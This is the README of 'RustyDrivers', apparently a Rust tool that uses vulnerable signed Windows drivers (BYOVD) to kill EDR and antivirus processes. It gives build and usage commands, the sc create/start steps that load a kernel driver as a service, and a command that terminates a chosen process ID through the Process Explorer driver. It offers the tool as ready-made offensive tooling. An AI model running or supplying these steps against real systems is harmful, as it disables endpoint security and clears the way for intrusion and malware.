RustyDrivers

This project is a BYOVD collection with the focus on killing EDR / AV processes.

Currently the following drivers are supported:

Blocked means that the driver is in the block list of Microsoft and cannot be executed on an up to date Windows.

Build

cargo build --release

Usage

rusty_drivers.exe --help            
Usage: rusty_drivers.exe --pid <PID> --driver <DRIVER>

Options:
  -p, --pid <PID>
  -d, --driver <DRIVER>
  -h, --help             Print help
  -V, --version          Print version

Example

Since the executable does not register a service to exploit the driver, this needs to be done manually:

sc create Test123 binpath= c:\test\<DRIVER>.sys type= kernel start= auto

Afterwards the service can be started:

sc start Test123

Finally, to shut down the process with the PID of 1234 using the Process Explorer driver the following command can be used:

rusty_drivers.exe --pid 1234 --driver process_explorer          

Do not forget to cleanup the service afterwards:

sc stop Test123
sc delete Test123